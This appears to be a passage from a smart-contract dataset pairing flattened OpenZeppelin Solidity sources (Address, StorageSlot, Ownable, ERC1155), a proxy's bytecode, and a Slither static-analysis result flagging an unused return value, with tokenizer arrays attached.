* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220e7827b3cf32e0d264384a153408ba5d15a5db1f9da4da29943312eebfd36a43064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2683,
2581,
2487,
2497,
28154,
2683,
26976,
2575,
16576,
2497,
2620,
2497,
18827,
2692,
2278,
2581,
2497,
2620,
2487,
11057,
2683,
3540,
2050,
2620,
2063,
2620,
2620,
2278,
2575,
2581,
2509,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
7279,
10230,
2232,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,445 | 0x952997De3c0f9656c4a0F52B2035B3aC7a6DB55b | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
